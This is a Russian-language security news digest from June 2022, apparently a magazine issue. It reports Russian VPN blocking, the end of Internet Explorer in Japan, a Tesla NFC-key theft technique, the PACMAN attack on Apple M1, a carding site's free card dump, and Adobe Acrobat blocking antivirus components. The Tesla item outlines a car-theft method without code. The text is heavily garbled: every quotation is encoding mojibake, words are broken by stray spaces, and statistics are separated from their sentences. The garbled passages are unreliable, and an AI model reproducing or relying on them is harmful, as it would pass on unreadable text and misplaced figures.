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В этом месяце: в Рос сии бло киру ют, но не зап реща ют
исполь зовать VPN, инже нер Google счи тает, что чат-бот ком- 
пании обрел соз нание, иссле дова тель показал, как угнать
Tesla за 130 секунд, япон ские ком пании с тру дом пережи- 
вают отказ от Internet Explorer, про цес сорам Apple M1 угро- 
жает проб лема PACMAN, а так же дру гие инте рес ные
события.

VPN БЛОКИРУЮТ,
НО НЕ ЗАПРЕЩАЮТ
В начале июня у рос сий ских поль зовате лей воз никли проб лемы с NordVPN,
Proton VPN и дру гими VPN-сер висами. Пред ста вите ли Рос комнад зора под- 
твер дили, что в рам ках закона «о суверен ном рунете» ведет ся работа по бло- 
киров ке VPN-сер висов, в том чис ле Proton VPN, помога ющих обхо дить бло- 
киров ки приз нанно го в РФ зап рещен ным кон тента.

Пос ле жалоб на проб лемы с под клю чени ем на сай те Proton VPN появи лось
офи циаль ное сооб щение, в котором опе рато ры пред положи ли, что начались
бло киров ки.

«

»

«Â íàñ òîÿùåå âðå ìÿ ìû èçó ÷àåì ïðîá ëåìó, è îíà íå ñâÿ çàíà

ñ êàêèìè‑ëèáî èçìå íåíè ÿìè ñ íàøåé ñòî ðîíû. Âåðî ÿòíî, ìåñ òíûå

èíòåðíåò‑ïðî âàé äåðû è âëàñ òè ìåøà þò ðàáîòå VPN-ñîåäè íåíèé, è â

ýòîì ñëó ÷àå ìû íå ñìî æåì ðåøèòü ýòè ïðîá ëåìû. Íåêîòî ðûå ñåð âåðû

ìîãóò ïðî äîë æàòü ðàáîòàòü. Ìû áóäåì ïðî äîë æàòü ïîïûò êè îáîé òè

áëî êèðîâ êó. Ñïà ñèáî çà âàøå òåð ïåíèå è ïîíèìà íèå», — ïèñàëè ïðåä- 

ñòà âèòå ëè ñåð âèñà.

Вско ре пос ле это го СМИ сооб щили, что, сог ласно пос там поль зовате лей
в соци аль ных сетях, похожие проб лемы наб люда ются у Lantern и Outline VPN,
а так же сбо ит NordVPN. Сер вис GlobalCheck показы вал, что сайт nordvpn.com
недос тупен в сетях «Рос телеко ма», МТС, «Мегафо на», Tele2, билай на и Yota.

Спе циалис ты «Рос ком сво боды» под твержда ли, что бло киров ки дей стви- 
тель но име ют мес то:

«

»

«Ïî÷ òè âñå ñåð âåðû øâåé öàð ñêî ãî VPN-ñåð âèñà îò ñîç äàòåëåé

ProtonMail íåäîñ òóïíû â Ðîñ ñèè ó ïðî âàé äåðîâ ñ îáî ðóäî âàíè åì

ÒÑÏÓ. Áëî êèðîâ êå ïîä âåðãà åòñÿ API-õîñò api.protonvpn.ch, èç‑çà ÷åãî

ïðîã ðàììà íå ìîæåò ñêà ÷àòü ñïè ñîê ñåð âåðîâ äëÿ ïîä êëþ ÷åíèÿ, à òàê- 

æå áîëü øèíñ òâî ïóá ëè÷íûõ ñåð âåðîâ â áåñ ïëàò íîé âåð ñèè óñëó ãè.

Íà ìîìåíò íàïèñà íèÿ ýòî ãî ñîîá ùåíèÿ ðàáîòà åò ñåð âåð JP-FREE#9. 

  

Ôèëü òðà öèÿ îñó ùåñò âëÿ åòñÿ ïî IP-àäðå ñàì ñåð âåðîâ, à íå ïî õàðàê- 

òåðíûì ïðèç íàêàì VPN-ïðî òîêî ëîâ, õîòü è íåîáû÷ íî: UDP-çàï ðîñû

îñòà þòñÿ áåç îòâå òà, à TCP-ñîåäè íåíèå óñòà íàâ ëèâà åòñÿ, íî „çàâèñà- 

åò“ ïîñ ëå ïåð âîãî îòïðàâ ëåííî ãî ïàêåòà».

Вско ре появи лось и офи циаль ное заяв ление от пред ста вите лей Рос комнад- 
зора, которые сооб щили, что в рам ках закона «о суверен ном рунете» в Рос- 
сии ведет ся работа по бло киров ке VPN-сер висов.

«

»

«Ñîã ëàñíî çàêîíó „Î ñâÿ çè“, ñðåäñ òâà îáõî äà áëî êèðî âîê ïðî òèâîï- 

ðàâíî ãî êîí òåíòà ïðèç íàþò ñÿ óãðî çîé. Öåíòð ìîíèòî ðèí ãà è óïðàâëå- 

íèÿ ñåòüþ ñâÿ çè îáùå ãî ïîëü çîâàíèÿ (ÖÌÓ ÑÑÎÏ) ïðè íèìà åò ìåðû

ïî îãðà íè÷å íèþ ðàáîòû íà òåð ðèòîðèè Ðîñ ñèè VPN-ñåð âèñîâ, íàðóøà- 

þùèõ ðîñ ñèé ñêîå çàêîíî äàòåëü ñòâî», — çàÿâè ëè â ïðåññ‑ñëóæ áå

âåäîìñ òâà.

Ин терес но, что спус тя око ло двух недель пос ле это го гла ва Мин цифры Мак- 
сут Шада ев сооб щил, что влас ти не намере ны вво дить наказа ние для тех, кто
поль зует ся VPN-сер висами, что бы обхо дить бло киров ки. При этом он отме- 
тил, что исполь зование таких при ложе ний все же не при ветс тву ется.

«

»

«Íèêàêèõ íàêàçà íèé äëÿ ïîëü çîâàòå ëåé [VPN] êàòåãî ðè÷åñ êè íå áóäåò

ââî äèòü ñÿ. Ìû ïðî òèâ ýòî ãî. Ïîýòî ìó, êîìó î÷åíü íàäî, òàêóþ âîç- 

ìîæíîñòü áóäåò èìåòü, è áóäåò èìåòü åå äàëü øå, è ñîõ ðàíèò. Íî,

êîíå÷ íî, ïîëèòè êå ãîñóäàðñ òâà, êîã äà â ïðèí öèïå îãðà íè÷è âàþò äîñ- 

òóï ê êàêèì‑òî ðåñóð ñàì, ýòî ïðî òèâî ðå÷èò. ß ñ÷è òàþ, ýòî ðàçóì íûé

êîì ïðî ìèññ».

Так же Шада ев поделил ся ста тис тикой поль зователь ско го тра фика, которую
спе циалис ты Мин цифры собира ли до начала «спе цопе рации» и пос ле. По его
сло вам, до 24 фев раля сум марно на три заб локиро ван ные теперь соци аль- 
ные сети — Facebook, Instagram (при над лежат кор порации Meta, которая
приз нана экс тре мист ской и зап рещена в РФ) и Twitter — при ходи лось 10–
12% от все го тра фика. Одна ко пос ле 24 фев раля и бло киров ки на долю сер- 
висов VPN, которые помога ли обой ти огра ниче ния, ста ло при ходить ся
лишь 20% от преж него тра фика трех соц сетей.

«

»

«Òî åñòü 80% ïðîñ òî... íåóäîá íî ïåðåê ëþ÷àòü ñÿ, âêëþ ÷àòü, âûê ëþ÷àòü

[VPN], — ïîÿñ íèë Øàäà åâ. — Ïîòîì, ìíî ãèå ñàé òû, ðîñ ñèé ñêèå, àòà- 

êîâàí íûå èç‑çà ðóáåæà, äàþò äîñ òóï òîëü êî ïî ðîñ ñèé ñêî ìó IP. È â

ýòîì ñìûñ ëå, äàæå åñëè âû ñèäèòå ïîä VPN, õîòèòå çàé òè íà ðîñ ñèé- 

ñêèé ñàéò, âàì ãîâîðÿò, ÷òî îí íåäîñ òóïåí. Âàì íàäî VPN âûê ëþ÷èòü,

çàé òè íà ñàéò, ïîòîì âêëþ ÷èòü».

 ЗАПРОСОВ В СЕКУНДУ26 000 000

Спе циалис там Cloudare уда лось отра зить новую рекор дную DDoS-ата ку, в которой учас тво вал
неболь шой, но мощ ный бот нет, сос тоящий из  устрой ств. По информа ции Cloudare,
пиковая мощ ность ата ки сос тавила  зап росов в секун ду (request-per-second,
RPS) и она была нацеле на на одно го из кли ентов ком пании, исполь зующих бес плат ный тариф- 
ный план.

5067
26  мил лионов

Сум марно в ата ке были задей ство ваны  устрой ств, каж дое из которых мог ло генери ровать
при мер но  зап росов в секун ду. Инте рес но, что этот неболь шой бот нет, исполь зовав ший
вир туаль ные машины и сер веры, ока зал ся в  раз мощ нее куда более круп ных бот нетов.
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ЯПОНЦАМ СЛОЖНО
БЕЗ IE
15 июня 2022 года Microsoft окон чатель но «похоро нила» Internet Explorer,
отка зав шись от исполь зования уста рев шего бра узе ра. Нев зирая на то что
к это му шагу в ком пании готови лись дав но и пре дуп режда ли поль зовате лей,
прек ращение под дер жки IE спро воци рова ло нас тоящий хаос в Япо нии, где IE
по-преж нему был в ходу у мно гих ком паний и госс трук тур.

Нуж но ска зать, что раз работ чики Microsoft дав но реали зуют пос тепен ный
отказ от под дер жки Internet Explorer, чья доля рын ка сос тавля ет око ло 5%,
и ста рают ся перевес ти поль зовате лей на бра узер Edge. К при меру,
еще в 2020 году Microsoft вклю чила при нуди тель ное перенап равле ние IE-to-
Edge для всех поль зовате лей.

С это го момен та более 1000 раз личных сай тов вооб ще перес тали откры- 
вать ся в IE, и в их чис ло вош ли Twitter, Facebook и Instagram (заб локиро ваны
в Рос сии, при над лежат ком пании Meta, приз нанной экс тре мист ской орга- 
низа цией, зап рещен ной на тер ритории РФ), VK, Google Drive, Microsoft Teams,
ESPN, Stack Overow, Yahoo Mail. Посети тели таких ресур сов авто мати чес ки
перенап равля лись в Edge.

15 июня 2022 года, как и пла ниро валось, Internet Explorer 11 был лик- 
видиро ван в кли ент ских сбор ках Windows 10 20H2 и более поз дних, а так же
в Windows IoT 20H2 и более поз дних. В Windows 11 уста рев ший бра узер вооб- 
ще отсутс тву ет, так как в новой вер сии ОС бра узе ром по умол чанию явля ется
Edge.

Те перь дес ктоп ная вер сия IE будет перенап равлять поль зовате лей в Edge
в течение нес коль ких месяцев, а потом от бра узе ра изба вят ся окон чатель но.

При этом есть про дук ты, на которые лик видация IE не рас простра няет ся:
режим IE Mode в Edge, дес ктоп ный IE 11 в Windows 8.1 и Windows 7 (Extended
Security Updates), Windows Server LTSC (все вер сии), Windows Server 2022,
кли ент Windows 10 LTSC (все вер сии), Windows 10 IoT LTSC (все вер сии).
При этом режим IE в Microsoft Edge будет под держи вать ся по мень шей мере
до 2029 года, что даст раз работ чикам дол гих восемь лет на модер низацию
уста рев ших при ложе ний.

Хо тя под готов ка к 15 июня велась уже дав но, изда ние Nikkei сооб щило, что
«смерть» IE ста ла неп рият ным сюр при зом для мно жес тва япон ских ком паний,
спро воци ровав нас тоящий хаос.

По дан ным жур налис тов, начиная с апре ля текуще го года, токий ско го раз- 
работ чика ПО Computer Engineering & Consulting завали вали прось бами
о помощи. Проб лема зак люча ется в том, что кли енты, а это в основном
государс твен ные учрежде ния, финан совые учрежде ния, а так же про изводс- 
твен ные и логис тичес кие ком пании, управля ли сай тами, сов мести мыми толь- 
ко с Internet Explorer.

«
»

«Îíè çíà ëè [î ïîýòàï íîì îòêà çå] äàâ íî, íî, âèäèìî, îòêëà äûâà ëè ïðè- 

íÿòèå ìåð», — ðàñ ñêà çûâà åò ïðåä ñòà âèòåëü êîì ïàíèè.

О похожих проб лемах сви детель ство вал и мар тов ский опрос, про веден ный
ИТ-ком пани ей Keyman’s Net, который показал, что мно жес тво орга низа ций
в Япо нии до сих пор исполь зуют Internet Explorer. При этом 49% рес понден тов
заяви ли, что бра узер им нужен для работы.

По сло вам опро шен ных, бра узер, в час тнос ти, исполь зовал ся
для управле ния посеща емостью сот рудни ков, рас чета рас ходов и ряда дру- 
гих внут ренних инс тру мен тов. В некото рых слу чаях у ком паний прос то
не было дру гого выбора, пос коль ку на IE ока зались завяза ны сис темы кли- 
ентов, необ ходимые для обра бот ки заказов.

Ху же того, более 20% рес понден тов приз нали, что они вооб ще не зна ли
или не поняли, как перей ти на дру гие бра узе ры пос ле прек ращения под дер- 
жки Internet Explorer.

СМИ писали, что осо бен но мед ленно на отказ от IE реаги рова ли япон ские
госор ганы. К при меру, сайт, на котором раз меща ется информа ция о гос- 
закуп ках и тор гах, толь ко пос ле 15 июня стал рекомен довать поль зовате лям
не Internet Explorer, а бра узе ры Microsoft Edge и Google Chrome. Для работы
с сай том пен сион ной служ бы Япо нии и онлайн-заяв лени ями до сих пор нуж но
прос матри вать сайт в IE-режиме в Edge. А на мно гих дру гих государс твен ных
ресур сах Internet Explorer по-преж нему ука зан в качес тве единс твен ного
рекомен дуемо го бра узе ра.

«

»

«ßïîí öû ëþáÿò áåçîïàñ íîñòü. ×åì êðóï íåå îðãà íèçà öèÿ èëè ïðà- 

âèòåëü ñòâåí íîå ó÷ðåæäå íèå, òåì äîëü øå îíè êîëåá ëþòñÿ [ïåðåä ïðè- 

íÿòè åì ðåøåíèÿ], — êîì ìåíòè ðîâàë Òåöóòà ðî Óýõà ðà, ïðî ôåñ ñîð Àçè- 

àòñêî‑Òèõî îêåàí ñêî ãî óíè âåð ñèòåòà Ðèöóìýé êàí. — Ñàìàÿ áîëü øàÿ

ïðîá ëåìà çàê ëþ÷à åòñÿ â òîì, ÷òî, êîã äà ðå÷ü èäåò î ïðà âèòåëü ñòâåí- 

íûõ ñàé òàõ, ñóùåñ òâó åò î÷åíü îãðà íè÷åí íîå êîëè÷åñ òâî ïîñ òàâùè êîâ,

êîòîðûå ìîãóò ââî äèòü â ðàáîòó ñòîëü áîëü øèå ñèñ òåìû».

APPLE ОПУБЛИКОВАЛА СТАТИСТИКУ БАНОВ
Ком пания Apple опуб ликова ла еже год ный отчет о работе команд экспер тов App Review
и Discovery Fraud, которые отве чают за ана лиз при ложе ний, попада ющих (или не попада ющих)
в App Store, а так же борь бу с мошен никами.

Ин женеры ком пании говорят, что за год они защити ли поль зовате лей от  опас ных
и ненадеж ных при ложе ний и обновле ний.

1 600 000

УГНАТЬ TESLA
ЗА 130 СЕКУНД
Авс трий ский иссле дова тель Мар тин Хер фурт (Martin Herfurt) про демонс три- 
ровал новый спо соб уго на Tesla. Ока залось, для это го мож но зло упот ребить
фун кци ей добав ления новой NFC-ключ-кар ты и про делать это незамет но
для вла дель ца авто, все го за 130 секунд.

Ко рень проб лемы зак люча ется в том, что в прош лом году Tesla выпус тила
обновле ние, которое упрости ло запуск авто моби лей пос ле раз бло киров ки
NFC-ключ-кар тами. Рань ше водите ли, которые исполь зовали ключ-кар ту
для раз бло киров ки сво их авто, дол жны были помес тить ее на цен траль ную
кон соль, что бы начать дви жение. Но пос ле обновле ния, вышед шего в августе
прош лого года, вла дель цы Tesla получи ли воз можность управлять сво ими
авто моби лями сра зу пос ле раз бло киров ки с помощью ключ-кар ты, которая
явля ется одним из трех основных спо собов раз бло киров ки авто (два дру гих
спо соба — это бре лок и мобиль ное при ложе ние).

Хер фурт обна ружил, что у новой фун кции есть стран ная осо бен ность: она
не толь ко поз воля ет авто моби лю авто мати чес ки заводить ся
в течение 130 секунд пос ле раз бло киров ки, но и перево дит его в сос тояние,
поз воля ющее при нимать новые клю чи, без необ ходимос ти аутен тифика ции
и без какой-либо инди кации на дис плее авто.

«

»

«Tesla ââå ëà ýòîò òàé ìåð, ÷òî áû ñäå ëàòü èñïîëü çîâàíèå NFC-êàðò

áîëåå óäîá íûì. Òî åñòü àâòî ìîáèëü äîë æåí çàâîäèòü ñÿ è åõàòü

áåç ïîâ òîðíî ãî èñïîëü çîâàíèÿ êëþ÷‑êàð òû ïîëü çîâàòå ëåì. Íî åñòü

ïðîá ëåìà: â òå÷åíèå 130-ñåêóí äíî ãî ïåðè îäà ðàç ðåøà åòñÿ íå òîëü êî

âîæ äåíèå àâòî ìîáè ëÿ, íî è [ðåãèñ òðà öèÿ] íîâîãî êëþ ÷à», — îáú ÿñíÿ åò

ýêñïåðò.

Ко неч но, офи циаль ное при ложе ние Tesla не поз воля ет регис три ровать новые
клю чи, если оно не под клю чено к учет ной записи вла дель ца, одна ко Хер фурт
обна ружил, что авто мобиль охот но обме нива ется сооб щени ями с любым
дру гим устрой ством Bluetooth Low Energy (BLE), находя щим ся поб лизос ти.
В ито ге эксперт соз дал собс твен ное при ложе ние под наз вани ем ,
которое исполь зует VCSec, как и офи циаль ное при ложе ние Tesla.

Teslakee

Teslakee демонс три рует, с какой лег костью воры могут добавить авто- 
моби лю собс твен ный ключ. Нуж но прос то находить ся непода леку от авто
во вре мя 130-секун дно го окна пос ле раз бло киров ки NFC-ключ-кар той. Пос ле
это го вор может исполь зовать свой ключ, что бы открыть, завес ти и заг лушить
авто мобиль в любое вре мя. Ни на дис плее авто, ни в нас тоящем при ложе нии
Tesla при этом не будет отоб ражать ся никаких сооб щений о слу чив шемся.

Ес ли же вла делец тран спортно го средс тва исполь зует для раз бло киров ки
авто при ложе ние (а это самый рас простра нен ный метод раз бло киров ки
Tesla), зло умыш ленник может вынудить жер тву исполь зовать ключ-кар ту.
Для это го дос таточ но при нес ти с собой глу шил ку и заб локиро вать час тоту
BLE, необ ходимую для работы при ложе ния.

Хер фурт успешно испро бовал свою ата ку на Tesla Model 3 и Y. Он не про- 
верял дан ный метод на новых Model S и X, но пред полага ет, что они тоже уяз-
вимы, так как исполь зуют те же тех нологии.

Нуж но отме тить, что Хер фурт соз дал Teslakee и про вел свое иссле дова ние
в рам ках Project Tempa, который «пре дос тавля ет инс тру мен ты и информа цию
о про токо ле VCSec, исполь зуемом аксессу ара ми и при ложе нием Tesla
для управле ния тран спортны ми средс тва ми через Bluetooth LE». Так же Хер- 
фурт явля ется чле ном Trinite Group, иссле дова тель ско го и хакер ско го кол- 
лекти ва, занима юще гося проб лемами BLE.

Ис сле дова тель обна родо вал дан ные о проб леме, так как, по его сло вам,
Tesla вряд ли ее испра вит. Хер фурт пишет, что он так и не получил от ком- 
пании никаких отве тов по поводу дру гих уяз вимос тей, которые обна ружил
в 2019 и 2021 годах, и сом нева ется, что теперь что-то изме нит ся.

«

»

«Ó ìåíÿ ñëî æèëîñü âïå ÷àò ëåíèå, ÷òî îíè óæå îáî âñåì çíà ëè è íå

õîòåëè ÷òî‑ëèáî ìåíÿòü, — ãîâîðèò Õåð ôóðò. — Íà ýòîò ðàç Tesla

[òîæå] íå ìîæåò íå çíàòü îá ýòîé ñêâåð íîé èìïëå ìåí òàöèè. Ïîýòî ìó ÿ

ïðîñ òî íå âèæó ñìûñ ëà ñâÿ çûâàòü ñÿ ñ Tesla çàðàíåå».

МОШЕННИЧЕСКИЕ КОЛ-ЦЕНТРЫ В КОЛОНИЯХ ЗАКРЫТЫ
В кулу арах кон ферен ции «Циф ровая индус трия про мыш ленной Рос сии» замес титель прав ления
«Сбер банка» Ста нис лав Куз нецов рас ска зал жур налис там, что проб лема с мошен ничес кими
кол-цен тра ми в рос сий ских колони ях на сегод ня решена. По его сло вам, еще три-четыре года
назад с тер ритории колоний работа ло «очень боль шое количес тво кол-цен тров», но теперь все
изме нилось.

→ «Наши экспер ты в свое вре мя вскры ли проб лему, что очень боль шое
количес тво кол-цен тров работа ло с тер ритории рос сий ских колоний. В свое
вре мя мы давали ста тис тику (это ста тис тика трех-четырех летней дав ности), что
око ло 40% — это с тер ритории Укра ины, око ло 40% — с тер ритории колоний,
тюрем, око ло 20% — с тер ритории дру гих точек, соп редель ных стран или с тер- 
ритории Рос сии.

Сей час мы видим толь ко еди нич ные какие-то фак ты, ког да на наших сис- 
темах монито рин га мы видим тран сакции, которые про ходят как мошен ничес кие
из тюрем либо из колоний. Мы счи таем, что проб лема кол-цен тров в рос сий ских
колони ях решена, и решена преж де все го руководс твом ФСИН»,

— заявил Куз нецов.

Продолжение статьи →

mailto:nefedova@glc.ru
https://www.teslakee.com/
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PACMAN ПРОТИВ
APPLE M1
Спе циалис ты Мас сачусет ско го тех нологи чес кого инсти тута обна ружи ли, что
чипы Apple M1 уяз вимы перед спе куля тив ной ата кой PACMAN. Эта проб лема
носит аппа рат ный харак тер и свя зана с аутен тифика цией ука зате ля (pointer
authentication), поз воляя зло умыш ленни ку выпол нить про изволь ный код
на уяз вимом устрой стве.

Pointer authentication — защит ная фун кция, добав ляющая к ука зате лям
крип тогра фичес кую под пись, называ емую pointer authentication code (PAC).
Бла года ря ей опе раци онная сис тема обна ружи вает и бло киру ет неожи дан- 
ные изме нения, которые в про тив ном слу чае мог ли бы при вес ти к утеч ке дан- 
ных или ком про мета ции. Ата ка PACMAN поз воля ет уда лен но обой ти аутен- 
тифика цию ука зате ля в ядре из userspace, по сути давая ата кующе му пол ный
кон троль над чужой машиной.

Для реали зации ата ки зло умыш ленни кам сна чала понадо бит ся най ти баг
в памяти, свя зан ный с ПО на устрой стве жер твы. Необ ходимо, что бы эта
ошиб ка была заб локиро вана PAC, то есть име ла воз можность перерас ти
в более серь езную проб лему.

«

»

«PACMAN èñïîëü çóåò ñóùåñ òâó þùèå ïðîã ðàì ìíûå îøèá êè (÷òå íèå/

çàïèñü ïàìÿòè) è ïðåâ ðàùà åò èõ â áîëåå ñåðü åçíûé ïðè ìèòèâ ýêñ ïëó- 

àòà öèè (îáõîä pointer authentication), êîòîðûé ìîæåò ïðè âåñ òè

ê âûïîë íåíèþ ïðî èçâîëü íîãî êîäà. ×òî áû ïðî äåëàòü ýòî, íàì íóæ íî

óçíàòü çíà ÷åíèå PAC äëÿ êîí êðåò íîãî óêà çàòå ëÿ æåð òâû, — ðàñ ñêà- 

çûâà þò ýêñïåð òû. — PACMAN äîáèâà åòñÿ ýòî ãî ñ ïîìîùüþ òîãî, ÷òî

ìû íàçûâà åì PAC Oracle. Ýòî ñïî ñîá íîñòü îïðå äåëÿòü, ñîîò âåòñ òâó åò

ëè äàí íûé PAC êîí êðåò íîìó óêà çàòå ëþ. PAC Oracle íå äîë æåí ñáî èòü

äàæå â ñëó ÷àå íåâåð íûõ ïðåä ïîëîæå íèé, è ñ åãî ïîìîùüþ ìû áðóò- 

ôîðñèì âñå âîç ìîæíûå çíà ÷åíèÿ PAC».

Эк спер ты тес тирова ли PACMAN толь ко на Apple M1, но полага ют, что проб- 
лема может зат рагивать и дру гие про цес соры ARM. Так же отме чает ся, что
ата ка пред став ляет опас ность для всех про цес соров, исполь зующих pointer
authentication.

Хо тя ком пания Apple не может испра вить аппа рат ный баг и бло киро вать
ата ки PACMAN, по сло вам экспер тов, поль зовате лям вряд ли сто ит бес поко- 
ить ся, если они под держи вают свое ПО в акту аль ном сос тоянии и оно
не содер жит оши бок, которые могут быть исполь зованы PACMAN.

«

»

«PACMAN — ýòî ìåòîä ýêñ ïëó àòà öèè, ñàì ïî ñåáå îí íå ìîæåò óãðî- 

æàòü âàøåé ñèñ òåìå. Õîòÿ àïïà ðàò íûå ìåõàíèç ìû, èñïîëü çóåìûå

PACMAN, íå ìîãóò áûòü èñïðàâ ëåíû ïðîã ðàì ìíî, ìîæ íî èñïðà âèòü

îøèá êè, ñâÿ çàí íûå ñ íàðóøå íèåì öåëîñ òíîñ òè èíôîðìà öèè

â ïàìÿòè», — äîáàâ ëÿþò ñïå öèàëèñ òû.

Ис сле дова тели уве доми ли Apple о сво их выводах еще в 2021 году, а так же
подели лись PoC-экс пло итом. Одна ко в Apple заяви ли, что новая side-channel-
ата ка не пред став ляет опас ности для поль зовате лей Mac, так как сама
по себе не может при вес ти к обхо ду защиты устрой ства, а для ее экс плу ата- 
ции нуж ны дру гие уяз вимос ти в сис теме.

БОЛЕЕ  РОССИЙСКИХ КОМПАНИЙ ДОПУСТИЛИ УТЕЧКИ50

Ана лити ки Group-IB под счи тали, что в мае и в начале июня в дар кне те было опуб ликова но
рекор дное количес тво баз дан ных рос сий ских ком паний — более .50

Для срав нения: в апре ле их было , а в мар те — все го . Сре ди пос тра дав ших были ком- 
пании, отно сящи еся к интернет-сер висам дос тавки, медици не, телеко му, интернет-ретей лу,
онлайн-обра зова нию, стро итель ству.

32 16

Об щее количес тво строк в  наибо лее круп ных утеч ках пос ледних полуто ра месяцев сос- 
тавило .

19
616,6 мил лиона

Прак тичес ки все базы вклю чают , их , , 
, а некото рые так же содер жат , , 

 или .

име на кли ентов те лефо ны ад реса да ты рож- 
дения хеш‐пароли пас пор тные дан ные под робнос ти
заказов ре зуль таты медицин ских ана лизов

ШИРОКИЕ ЖЕСТЫ
КАРДЕРОВ
Опе рато ры нового кар дер ско го сай та BidenCash пыта ются получить извес- 
тность, пуб ликуя дан ные кре дит ных карт и информа цию об их вла дель цах бес- 
плат но или поч ти бес плат но.

Но вый ресурс появил ся в апре ле 2022 года, но дол гое вре мя не был готов
к про веде нию мас штаб ных опе раций. Теперь же опе рато ры BidenCash
решили бес плат но раз дать всем жела ющим CSV-файл, содер жащий име на,
адре са, номера телефо нов, адре са элек трон ной поч ты и номера бан ков ских
карт, и таким обра зом про рек ламиро вать свою плат форму.

В общей слож ности файл содер жит око ло вось ми мил лионов строк, но не
все из них — дан ные карт. По оцен ке экспер тов из ком пании D3Lab, в этом
дам пе мож но най ти дан ные о 6600 бан ков ских кар тах и око ло 1300 из них —
это новые и дей стви тель ные кар ты, боль шинс тво из которых выпуще ны VISA
и при над лежат физичес ким лицам из США.

Кро ме того, ана лити ки пишут, что в дам пе мож но обна ружить более трех
мил лионов уни каль ных адре сов элек трон ной поч ты, которые могут исполь- 
зовать ся зло умыш ленни ками для фишин га и зах вата чужих учет ных записей.

Как и на дру гих подоб ных сай тах, на BidenCash пуб лику ется рей тинг
валид ности для новых лотов, такая оцен ка выс тавля ется пос ле оцен ки слу чай- 
ной выбор ки из 20 карт. Каж дую неделю про водят ся новые про вер ки всех
лис тингов, и, если получен ный рей тинг силь но отли чает ся от прош лой оцен- 
ки, про дажу зак рыва ют.

Так же на BidenCash работа ет сис тема филь тра ции, поз воля ющая зло- 
умыш ленни кам находить укра ден ные кар ты, под ходящие имен но для их кам- 
паний. Мож но искать по кон крет ным парамет рам: стра нам, бан кам или толь ко
записи, в которых есть необ ходимые дан ные, такие как CVV, адрес элек трон- 
ной поч ты, физичес кий адрес, тип кар ты и имя вла дель ца. Про веден ный
иссле дова теля ми тест показал, что хакеры могут покупать дан ные о под- 
ходящих им кар тах все го по 15 цен тов за шту ку.

Сто ит отме тить, что слив дан ных о кар тах в откры тый дос туп ради рек ламы
вов се не новый спо соб прод вижения для кар дер ских ресур сов. К при меру,
в прош лом году опе рато ры под поль ного мар кет плей са All World Cards про- 
вели похожую «рек ламную акцию» и опуб ликова ли на хакер ских форумах дан- 
ные мил лиона бан ков ских карт, укра ден ные в пери од с 2018 по 2019 год.

УГРОЗЫ ПЕРВОГО КВАРТАЛА
Эк спер ты Positive Technologies обна родо вали отчет об акту аль ных кибера таках пер вого квар- 
тала 2022 года. По их сло вам, общее количес тво атак вырос ло на  (по срав нению с чет- 
вертым квар талом 2021 года), а одни ми из наибо лее замет ных угроз ста ли , унич- 
тожа ющие чужие дан ные.

14,8%
вай перы

Об щее количес тво атак в 2021 и 2022 годах

Ча ще все го ата кам под верга лись  и , а так же
. Так же замет ны изме нения в пятер ке самых ата-

куемых отраслей: теперь в этот топ попали . Доля атак, нап равлен ных на эту отрасль, сос- 
тавила .

го сударс твен ные ме дицин ские учрежде ния
ор ганиза ции сфе ры про мыш леннос ти

СМИ
5%

Ко личес тво атак, нап равлен ных на госуч режде ния, уве личи лось прак тичес ки в  (по срав- 
нению с дан ными чет верто го квар тала 2021 года).

2 раза

Так же замети ли всплеск атак на веб-ресур сы раз личных государс твен ных учрежде ний: их доля
вырос ла до  (по срав нению с  в пре дыду щем квар тале).22% 13%

Дей ствия зло умыш ленни ков были пре иму щес твен но нап равле ны на кра жу кон фиден циаль ной
информа ции: в пер вую оче редь пер сональ ные дан ные ( ), а так же све дения, сос тавля ющие
ком мерчес кую тай ну ( ). Поль зовались популяр ностью медицин ская информа ция ( )
и учет ные дан ные ( ).

34%
19% 15%

12%

В ата ках на час тных лиц в основном ворова ли учет ные дан ные ( ), а так же пер сональ ные
дан ные ( ) и дан ные пла теж ных карт ( ).

46%
19% 21%

ADOBE ACROBAT
БЛОКИРУЕТ
АНТИВИРУСЫ
ИБ-экспер ты замети ли, что Adobe Acrobat пыта ется не дать анти виру сам изу- 
чать откры ваемые поль зовате лями PDF-фай лы, тем самым соз давая угро зу
безопас ности. Сооб щает ся, что Adobe Acrobat про веря ет, инте ресу ются ли
его про цес сами ком понен ты при мер но 30 защит ных про дук тов, а затем бло- 
киру ет их, фак тичес ки лишая воз можнос ти отсле живать вре донос ную
активность.

Ана лити ки Minerva Labs объ ясня ют, что обыч но для работы защит ных
решений нуж на «видимость» всех про цес сов в сис теме. Как пра вило, это дос- 
тига ется путем внед рения DLL в софт, запус каемый на машине поль зовате ля.
С мар та 2022 года экспер ты наб люда ют пос тепен ный рост активнос ти про- 
цес сов Adobe Acrobat Reader, которые пыта ются узнать, какие биб лиоте ки
DLL, свя зан ные с защит ными про дук тами, заг ружены (через получе ние дес- 
крип тора DLL).

Сог ласно отче ту, в нас тоящее вре мя Adobe ищет око ло 30 биб лиотек DLL,
в том чис ле свя зан ных с анти виру сами Bitdefender, Avast, Trend Micro,
Symantec, Malwarebytes, ESET, Kaspersky, F-Secure, Sophos, Emsisoft.

Зап росы к сис теме выпол няют ся с помощью Chromium Embedded
Framework (CEF) биб лиоте ки libcef.dll, исполь зуемой широким спек тром прог- 
рамм. Иссле дова тели пишут, что «libcef.dll заг ружа ется дву мя про цес сами
Adobe: AcroCEF.exe и RdrCEF.exe», то есть оба про дук та про веря ют сис тему
на наличие ком понен тов одних и тех же защит ных решений.

Изу чив, что про исхо дит с DLL, внед ренны ми в про цес сы Adobe, ана лити ки
Minerva Labs обна ружи ли, что Adobe про веря ет, уста нов лено ли зна чение
bBlockDllInjection в раз деле реес тра SOFTWARE\Adobe\Adobe
Acrobat\DC\DLLInjection\ на 1. Если ответ положи тель ный, это пре дот вра щает
инъ екции DLL анти вирус ного ПО.

От меча ется, что, судя по сооб щени ям на форумах Citrix, еще вес ной поль- 
зовате ли жалова лись на ошиб ки Sophos AV, который работал некор рек тно
из-за про дук ции Adobe. Пос тра дав шие писали, что в ком пании им пред- 
ложили «отклю чить внед рение DLL для Acrobat и Reader».

Пред ста вите ли Adobe под твержда ют, что поль зовате ли дей стви тель но
жалу ются на «проб лемы со ста биль ностью», которые воз ника ют из-за того,
что DLL-ком понен ты некото рых защит ных про дук тов несов мести мы с исполь- 
зуемой Adobe Acrobat биб лиоте кой CEF. В ком пании говорят, что в нас тоящее
вре мя работа ют над проб лемой вмес те с пос тавщи ками защит ных решений.

В свою оче редь, иссле дова тели Minerva Labs пишут, что Adobe выб рала
спо соб, который реша ет проб лемы сов мести мос ти, одна ко соз дает угро зу
